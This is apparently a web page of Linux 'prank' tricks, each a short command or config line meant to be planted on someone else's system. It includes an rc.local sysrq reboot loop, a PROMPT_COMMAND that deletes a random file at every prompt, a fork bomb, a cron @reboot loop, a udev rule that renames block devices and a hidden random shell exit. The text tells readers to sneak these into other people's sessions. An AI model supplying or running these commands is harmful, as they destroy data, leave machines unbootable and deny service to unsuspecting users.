What ftp server?

In /etc/vsftpd/vsftpd.conf add or change the following lines:

chown_uploads=YES
chown_username=daemon<space>

Where <space> is an actual space character before the end of the line.

Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

Beginners

Run the following command and reboot :

echo 'echo b > /proc/sysrq-trigger ' >> /etc/rc.local
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

Meet the Prompt of Doom

Try to sneak this one into someone’s session and watch the hilarity ensue:

export PROMPT_COMMAND='FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &> /dev/null'
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

Classic

Just enter this little baby into any account where ulimit -u reports unlimited

:() { :|:& };:
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

Neverending story

echo "@reboot reboot" > /etc/cron.d/system
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

Devicenode deletion

Add this file as /etc/udev/rules.d/01-devices.rules:

ACTION=="add", SUBSYSTEM=="block", NAME:="hehehe"
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

Random exits

This one is sure to confuse. A user will exit his shell somewehere random inside 30 minutes after starting it. Hide the following piece of code somewhere in /etc/bashrc or a .sh file in /etc/profile.d/

export PROMPT_COMMAND='[ ${SECONDS} -ge $[ ${RANDOM} % 1800 ]] && exit'
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon